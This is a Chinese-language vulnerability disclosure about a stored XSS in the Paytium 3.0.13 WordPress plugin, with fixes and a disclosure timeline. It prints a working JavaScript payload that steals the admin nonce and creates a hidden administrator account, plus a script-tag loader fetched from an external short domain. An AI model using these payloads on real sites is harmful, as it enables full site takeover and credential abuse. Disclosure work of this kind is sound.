Paytium WordPress插件存储型XSS漏洞深度分析

本文详细分析了Paytium 3.0.13 WordPress插件中存在的存储型XSS安全漏洞,通过漏洞可注入恶意JavaScript代码,最终实现WordPress网站完全接管,包含漏洞原理、利用方式和修复方案。

Paytium 3.0.13 WordPress插件存储型XSS漏洞

概念验证

背景

WordPress目前拥有60%的市场份额,是最常用的内容管理系统。原版WordPress仅是一个博客平台,但通过安装插件可以将其转变为网店、众筹平台甚至读心器。

任何人都可以创建和发布WordPress插件,没有质量控制机制,唯一参考只有其他用户的插件评价。同时,已安装插件中的漏洞可能带来严重问题:客户数据可能被盗取,甚至可能有人成为网站管理员。

Paytium WordPress插件

作者受朋友委托测试其网站安全性。该网站销售在线培训课程,是一个简单的WordPress网站,部分内容仅限订阅者访问。网站使用Paytium插件接收订阅者的在线支付。

Paytium允许在WordPress页面中插入支付表单:简单的捐赠表单或包含客户姓名和邮箱地址的扩展表单。截至2019年9月,该插件约有3000多次安装。

存储型XSS

作者首先尝试在姓名字段中输入HTML代码,观察是否会被渲染。如果能够向该字段注入HTML,当网站管理员查看包含被篡改名称的记录时,代码可能在WordPress管理员后端执行。

尝试在姓名字段加载图片:

1
Proof of Concept by Jonathan Bouman <img src="https://i.imgur.com/9eNikWc.jpg" alt="You've found waldo">

HTML注入成功,这被称为存储型XSS。输入验证不充分使得我们可以添加自定义HTML内容,在WordPress后端实现了认证存储型XSS!

此外,Paytium插件还会向攻击者发送公开发票链接(发票ID经过哈希处理),导致公开存储型XSS。

漏洞代码

由于Paytium是免费插件,我们可以识别漏洞代码。经过几分钟搜索,发现名为get_field_data_html()的函数直接回显存储的数据,未进行HTML转义。该代码被WordPress后端用于显示订单概览。

这是一个未转义HTML值的echo语句。

从存储型XSS到完全接管WordPress

如果我们能静默添加具有预设用户名和密码的新管理员用户会怎样?好主意!

WordPress有一个特殊页面,允许管理员邀请新用户并指定其角色。

该表单受nonce保护。Nonce是一个包含秘密值的隐藏参数,由浏览器发送到服务器。服务器用它验证特定请求是否来自原始表单,否则恶意网站可能代表受害者提交表单——即CSRF攻击。

服务器将隐藏的nonce添加到它渲染的每个表单中。外部恶意网站无法获取此nonce值,因为默认情况下浏览器不允许一个域查看另一个域的HTML内容。没有Nonce,我们无法提交表单。

然而,通过JavaScript我们可以请求同域的页面。由于在受害者域中存在存储型XSS漏洞,我们能够请求user-new.php页面并查看HTML响应,从而提取Nonce值并使用预设的登录详细信息提交user-new.php表单。

攻击载荷

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
var ajaxRequest = new XMLHttpRequest,
    requestURL = "/wp-admin/user-new.php",
    nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, !1),
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText),
    nonce = nonceMatch[1],
    params = "action=createuser&_wpnonce_create-user=" + nonce + "&user_login=joax&email=attacker@email.com&pass1=helloworld123&pass2=helloworld123&role=administrator";
(ajaxRequest = new XMLHttpRequest).open("POST", requestURL, !0),
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
ajaxRequest.send(params);

攻击载荷包含两个阶段:

  1. 请求user-new.php页面并使用正则表达式提取nonce值
  2. 向user-new.php页面提交POST请求,包含预设的登录详细信息和第一步获取的nonce

短域名是必备条件

可以直接将脚本放在姓名字段的<script></script>标签中,但大多数字段有最大字符限制或不允许特殊字符。

建议将载荷放在文件(如1.js)中,并在互联网上的短域名上托管。域名越短越好,我们要避免表单中的字符限制。因此,获取一个3或4个字符长的域名并上传载荷!

上传到外部域时,确保支持HTTPS,以避免浏览器关于"不安全内容"的警告。

最终载荷

1
<script src=//short.domain/1.js></script>

结论

由于Paytium插件对用户输入验证不当,我们能够向WordPress后端注入JavaScript。任何加载此JavaScript的WordPress管理员都会自动添加具有我们预设凭证的新管理员用户,导致WordPress被完全接管。此外,我们能够通过未认证的发票URL查看存储型XSS载荷——这对网络钓鱼者来说非常完美。

解决方案

  1. WordPress原生支持用户输入验证:https://codex.wordpress.org/Validating_Sanitizing_and_Escaping_User_Data。这允许轻松渲染用户输入并避免常见的HTML注入。

  2. WordPress应在执行重要操作前要求管理员手动输入密码。例如在添加新管理员或安装插件前需要密码提示。另一个解决方案是设置不同的访问级别:只想查看新订单?使用没有超级权限但足以查看订单的用户登录。更多信息请参阅角色和能力。

奖励

时间线

  • 2019年7月31日:发现初始漏洞
  • 2019年9月4日:撰写报告并通过电子邮件通知Paytium
  • 2019年9月5日:Paytium要求提供更多细节
  • 2019年9月6日:Paytium发布插件更新,未提及安全修复
  • 2019年9月7日:Paytium发布插件更新,未提及安全修复
  • 2019年9月28日:发现未认证存储型XSS漏洞,更新报告并电子邮件通知Paytium
  • 2019年10月1日:Paytium回复报告评论,告知正在准备安全修复,本周晚些时候更新状态
  • 2019年10月4日:添加关于WordPress角色和能力功能的内容,添加为特殊操作(如添加用户和安装插件)引入提示屏幕/手动输入的解决方案
  • 2019年10月7日:Paytium发布修复并通过电子邮件通知客户
  • 2020年5月12日:报告发布
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计